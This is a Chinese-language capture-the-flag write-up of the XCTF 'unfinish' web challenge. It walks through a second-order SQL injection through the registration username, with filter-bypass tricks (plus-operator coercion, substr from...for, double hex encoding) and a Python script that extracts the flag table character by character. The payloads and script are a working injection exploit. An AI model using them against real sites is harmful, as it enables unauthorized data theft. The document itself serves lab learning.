攻防世界web进阶区unfinish详解

攻防世界web进阶区unfinish详解

  • 题目
    • 详解

题目

攻防世界web进阶区unfinish详解_第1张图片

详解

我们使用御剑,扫描一波

攻防世界web进阶区unfinish详解_第2张图片
我们进入注册页面查看,发现这个,有注册的话猜一下二次注入(这里注入,然后去页面看结果)

攻防世界web进阶区unfinish详解_第3张图片
我们先拿AWVS试试,
攻防世界web进阶区unfinish详解_第4张图片
哦~我的上帝,它存在注入
我们试试,burp的fuzz看看他过滤了什么
攻防世界web进阶区unfinish详解_第5张图片
还是过滤了蛮多的
这些是都没过滤的

攻防世界web进阶区unfinish详解_第6张图片
既然知道了他是sql注入
那么我们为啥不用sqlmap呢
我们使用sqlmap,发现只能知道这里有注入点,但是过滤很严重
我们需要找找合适的tamper
攻防世界web进阶区unfinish详解_第7张图片
哦~我的上帝,果然不行,看来还得看看师傅们怎么写的

我们推测这里的语句是

insert into tables value('$email','$username','$passwpord');
登录成功后语句:

SELECT * FROM tables WHERE email = ''$email";
他这里注册的时候作了限制,所以联合查询这种方法不能用。

那么尝试在注册时用户名处进行闭合。

用户名处构造group_concat(1,database()),database','1')#

结果返回
nnnnoooo!!!
有过滤,

攻防世界web进阶区unfinish详解_第8张图片
被过滤就是这样子

用户名注册时加个单引号注册失败,双引号注册成功,说明可能为单引号闭合·,

注册一个。

email: [email protected]
username: 1' and '0
password: 123
登陆发现,用户名处回显0
攻防世界web进阶区unfinish详解_第9张图片

说明存在注入,and运算结果为0.

下面节选自
https://yanmie-art.github.io/2020/08/05/%E6%94%BB%E9%98%B2%E4%B8%96%E7%95%8Cunfinish/

与其他编程语言不同,MySQL中,+(加号)只有一个功能:运算符。

如果加号运算中有字符,那么mysql就会把字符转变为数字在相加,比如select ‘1’+‘1a’;结果为2,转换过程跟php类似。

下面看几个例子。

mysql> select '1'+'1a';
+----------+
| '1'+'1a' |
+----------+
|        2 |
+----------+
1 row in set, 1 warning (0.00 sec)

mysql> select '0'+database();
+----------------+
| '0'+database() |
+----------------+
|              0 |
+----------------+
1 row in set (0.00 sec)

可以用截取的方法,截取处每一位,然后ascii编码。

mysql> select '0'+ascii(substr(database(),1,1));
+-----------------------------------+
| '0'+ascii(substr(database(),1,1)) |
+-----------------------------------+
|                               100 |
+-----------------------------------+
1 row in set (0.00 sec)

mysql> select '0'+ascii(substr(database(),2,1));
+-----------------------------------+
| '0'+ascii(substr(database(),2,1)) |
+-----------------------------------+
|                               118 |
+-----------------------------------+
1 row in set (0.00 sec)

成功截取,但是逗号被过滤,该咋办。使用from...for...代替。

mysql> select '0'+ascii(substr(database() from 1 for 1));
+--------------------------------------------+
| '0'+ascii(substr(database() from 1 for 1)) |
+--------------------------------------------+
|                                        100 |
+--------------------------------------------+
1 row in set (0.00 sec)

mysql> select '0'+ascii(substr((database()) from 2 for 1));
+----------------------------------------------+
| '0'+ascii(substr((database()) from 2 for 1)) |
+----------------------------------------------+
|                                          118 |
+----------------------------------------------+
1 row in set (0.00 sec)

还有可以使用十六进制转换后运算
有疑问,为啥不用二进制或者八进制。用例子来说明:

mysql> select bin('dvwa');
+-------------+
| bin('dvwa') |
+-------------+
| 0           |
+-------------+
1 row in set (0.00 sec)

mysql> select oct('dvwa');
+-------------+
| oct('dvwa') |
+-------------+
| 0           |
+-------------+
1 row in set (0.00 sec)

mysql> select hex('dvwa');
+-------------+
| hex('dvwa') |
+-------------+
| 64767761    |
+-------------+
1 row in set (0.00 sec)

可以看到,只有十六进制成功转换。
但是又出来一个问题,如果十六进制转换后的字符串有字母的话,转化为数字就会相加就会丢失字符。

mysql> select hex('dvwa{}');
+---------------+
| hex('dvwa{}') |
+---------------+
| 647677617B7D  |
+---------------+
1 row in set (0.00 sec)

mysql> select hex('dvwa{}')+'0';
+-------------------+
| hex('dvwa{}')+'0' |
+-------------------+
|         647677617 |
+-------------------+
1 row in set (0.00 sec)
所以需要在进行一次十六进制。

mysql> select hex(hex('flag{}'));
+--------------------------+
| hex(hex('flag{}'))       |
+--------------------------+
| 363636433631363737423744 |
+--------------------------+
1 row in set (0.00 sec)

mysql> select hex(hex('flag{}'))+'0';
+------------------------+
| hex(hex('flag{}'))+'0' |
+------------------------+
|   3.636364336313637e23 |
+------------------------+
1 row in set (0.00 sec)

又但是当这个长字符串转成数字型数据的时候会变成科学计数法,也就是说会丢失数据精度。

这里还可以使用分段读法。

mysql> select substr(hex(hex('dvwa{}')) from 1 for 10)+'0';
+----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 1 for 10)+'0' |
+----------------------------------------------+
|                                   3634373637 |
+----------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr(hex(hex('dvwa{}')) from 11 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 11 for 10)+'0' |
+-----------------------------------------------+
|                                    3736313742 |
+-----------------------------------------------+
1 row in set (0.00 sec)

mysql> select substr(hex(hex('dvwa{}')) from 21 for 10)+'0';
+-----------------------------------------------+
| substr(hex(hex('dvwa{}')) from 21 for 10)+'0' |
+-----------------------------------------------+
|                                          3744 |
+-----------------------------------------------+
1 row in set (0.00 sec)

mysql> select unhex(unhex(363437363737363137423744));
+----------------------------------------+
| unhex(unhex(363437363737363137423744)) |
+----------------------------------------+
| dvwa{}                                 |
+----------------------------------------+
1 row in set (0.11 sec)

抄大佬的脚本

import requests
import re


register_url = '/register.php'
login_url = '/login.php'


for i in range(1, 100):
    register_data = {
     
        'email': '[email protected]%d' % i,
        'username': "0' + ascii(substr((select * from flag) from %d for 1)) + '0" % i,
        'password': 'admin'
    }
    res = requests.post(url=register_url, data=register_data)

    login_data = {
     
        'email': '[email protected]%d' % i,
        'password': 'admin'
    }
    res_ = requests.post(url=login_url, data=login_data)
    code = re.search(r'\s*(\d*)\s*', res_.text)
    print(chr(int(code.group(1))), end='')

攻防世界web进阶区unfinish详解_第10张图片
题目真的越来越难了,没有wp寸步难行唉,太菜了

你可能感兴趣的:(CTF)